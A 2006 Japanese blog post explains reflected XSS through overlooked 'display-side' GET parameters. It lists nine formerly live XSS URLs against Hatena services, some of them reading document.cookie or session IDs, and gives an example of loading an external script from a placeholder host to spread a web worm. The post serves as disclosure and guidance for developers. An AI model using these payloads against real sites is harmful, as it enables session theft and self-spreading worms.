ぼくはまちちゃん！ [mixi][ミクシィ][セキュリティ][tips]

(入力)

<form action="register.cgi" method="post">
タイトル：<input type="text" name="title"> ← 「ぼくはまちちゃん！」を入力
本文：<input type="text" name="body"> ← 「こんにちはこんにちは！！<script>alert(1)</script>」を入力
</form>

(確認)

<p>この内容で登録していい？</p>

<p>
タイトル： ぼくはまちちゃん！<br>
本文： こんにちはこんにちは！！<script>alert(1)</script>
</p>

これって典型的な「登録系」の部分だよね！
わかりやすいし、まずこれが手始めに狙われることが多いんじゃないかな。
title や body のところに、色々な記号を入れてみたりとか…！

でもそれだけに、こういう部分って開発側もしっかりテストしているんですよ！
しかも利用するユーザーにも気づきやすい部分だよねこれって！
だから枯れてきたサービスなんかだと特に、
このあたりの無害化漏れは滅多にお目にかかれないんじゃないかな…！

WEBセキュリティの本や記事にあるサンプルのお手本みたいな部分だしね！

だけど、そういったサービスでも…、以下のような部分はどうなんだろうね。

・HTML中の aタグ(リンク) や script の中に生成される GETリクエスト
　→本来ならユーザーが変更することがないはずのパラメータが改竄された時
　→本来なら存在しないはずのパラメータが混入された時

実はこのあたりの処理って意外なほど無頓着になっちゃってること多いんだよ！
どんな感じか例を示しますね…！

<a href="list.cgi?page=1">1</a>
<strong>2</strong>
<a href="list.cgi?page=3">3</a>

よくある感じの、ページ変えて表示するようなリンクだよね！
これが今回のテーマの
ユーザーに入力を求めることのない「表示系」の部分だよ！

じゃあこのリンク、ブラウザのアドレス欄で直接書き換えて…

http://xxxxxxxx/list.cgi?page=3xxx">

こんなリクエスト送っちゃおうか…！
すると返ってきた HTML がこんなのになってないかな！

<a href="list.cgi?page=2">2</a>
<strong>3xxx"></strong>
<a href="list.cgi?page=4">4</a>

なっちゃってたらマズいんだけど、
いくらなんでも、これだけシンプルなページだと、これはないかもしれないね。

じゃあ次に、こんなリンクがあるページ！

<a href="list.cgi?word=abcd&a=b&submit=confirm&key=3&mode=desc&page=2">次のページへ</a>

さっきよりパラメータ増えて複雑だけど、こんなのもよく見かけるよね！
これも同様に、

http://xxxxxxxx/list.cgi?word=abcd&a=b&submit=confirm&key=3&mode=descxxx">&page=2

こんな感じのリクエストを送っちゃうといいよ！
すると次のような結果が返ってきたりしていないかな！

<a href="list.cgi?word=abcd&a=b&submit=confirm&key=3&mode=descxxx">&page=3">次のページへ</a>

あるいは次のように、存在しないはずのパラメータ加えたリクエストだとどうかな…！

http://xxxxxxxx/list.cgi?word=abcd&xxx=zzz">&a=b&submit=confirm&key=3&mode=desc&page=2

…本当に、出力された HTML の中に「xxx=zzz">」が含まれていないかな！
なんかちょっぴり、ありえそうな気がしませんか！

もしかすると、人によっては
「えー。 けっきょく典型的なXSSじゃないの？」って思うかも！

うんうん、典型的なXSSには違いないかもしれないんだけど…、
こんなふうに

・入力フォームはないけど、パラメータ入りリンクが含まれているページ
・出力されるJavaScript中に、受け取ったパラメータやリクエストurlが埋め込まれているページ

みたいな「表示系」パラメータの部分って、すごく油断しやすいんだよね！
だから開発者さまは要注意かも…！
(特に後者のJavaScriptの場合には \記号とかも気をつけてね！)

こういった「表示系」の GETリクエストパラメータを積極的にアタックすれば、
誰にだって数十分の試行でいくつかの XSSセキュリティホールが見つけられるんじゃないかな、きっと！

うん。

じゃあさっき「えー」って思ったひとのためにも、はてなでの実例を示してみますね…！

※以下はエントリーを上げた時点で、実際にはてなに存在しているXSSセキュリティホールだよ！
すぐに修正が入ると思うけど…！

(追記：2006/08/02 16:00)
すべて修正されました → XSS 脆弱性の修正について

(その１)

http://www.hatena.ne.jp/checkpassword?backurl="><script>alert('こんにちはこんにちは！！')</script><a "

(その２)

http://b.hatena.ne.jp/t?tag=hatena&sort="><script>alert("こんにちはこんにちは！！\nid:"%2bHatena.id%2b"\nrkm:"%2bHatena.rkm)</script><xmp>

(その３)

http://b.hatena.ne.jp/t/hatena?threshold="><script>alert("こんにちはこんにちは！！\nid:"%2bHatena.id%2b"\nrkm:"%2bHatena.rkm)</script><xmp>

(その４)

http://b.hatena.ne.jp/entrylist?threshold=5"><script>alert("こんにちはこんにちは！！\nid:"%2bHatena.id%2b"\nrkm:"%2bHatena.rkm)</script><xmp>

(その５)

http://d.hatena.ne.jp/keywordmobile/</title><script>alert(document.cookie)</script>%82%b1%82%f1%82%c9%82%bf%82%cd%82%b1%82%f1%82%c9%82%bf%82%cd%81I%81I

(その６)

http://d.hatena.ne.jp/searchmobile?word=</title><script>alert(document.cookie)</script></head>%82%b1%82%f1%82%c9%82%bf%82%cd%82%b1%82%f1%82%c9%82%bf%82%cd%81I%81I<xmp>

(その７)

http://search.hatena.ne.jp/websearch?word=Hamachiya2&page=2<script>alert('%a4%b3%a4%f3%a4%cb%a4%c1%a4%cf%a4%b3%a4%f3%a4%cb%a4%c1%a4%cf%a1%aa%a1%aa')</script>

(その８)

http://q.hatena.ne.jp/list?page=2<script>alert('%e3%81%93%e3%82%93%e3%81%ab%e3%81%a1%e3%81%af%e3%81%93%e3%82%93%e3%81%ab%e3%81%a1%e3%81%af%ef%bc%81%ef%bc%81')</script>&sort=&status=&type=&word=

(その９) ※これは IEのみかも？

http://r.hatena.ne.jp/feed/http://d.hatena.ne.jp/Hamachiya2/rss?x="><script>alert("\u3053\u3093\u306B\u3061\u306F\u3053\u3093\u306B\u3061\u306F\uFF01\uFF01")</script><a%20"

うわー、いっぱい＞＜

あ、これだけあるからといって、決して、はてなのシステムが脆いってわけじゃないですよ！
あそこは開発者も利用者も有名なｽｰﾊﾟｰﾊｶｰだらけだし、
ざっと見た感じ、このあたりのミスに対してはmixiとかよりも、数段、気をつかっているように見えるし！

でも、そのはてなですら「表示系」に関してはこうなんだね…！
だから、きみんちのサービスでも、このあたりを一度、チェックしてみるといいんじゃないかな！
(mixiにも、まだまだいっぱいあるよ＞＜)

あ、最後に書くのもなんだけど、
言うまでもなく、XSSセキュリティホールが存在すると…

<script src=http://xxxx/zzz></script>

みたいな外部scriptの読み込みコードをちょこっと埋め込んでやるだけで
簡単にWebアプリケーションワームや、
(はまちちゃん日記連鎖とか、見ただけで自動的にはてブされる夢の超hotentryとか！)

あるいは、
もっと凶悪な性質のexploitが「認証済みユーザーのブラウザ上で」実行されちゃうわけだね…！

たいへんなことになっちゃう＞＜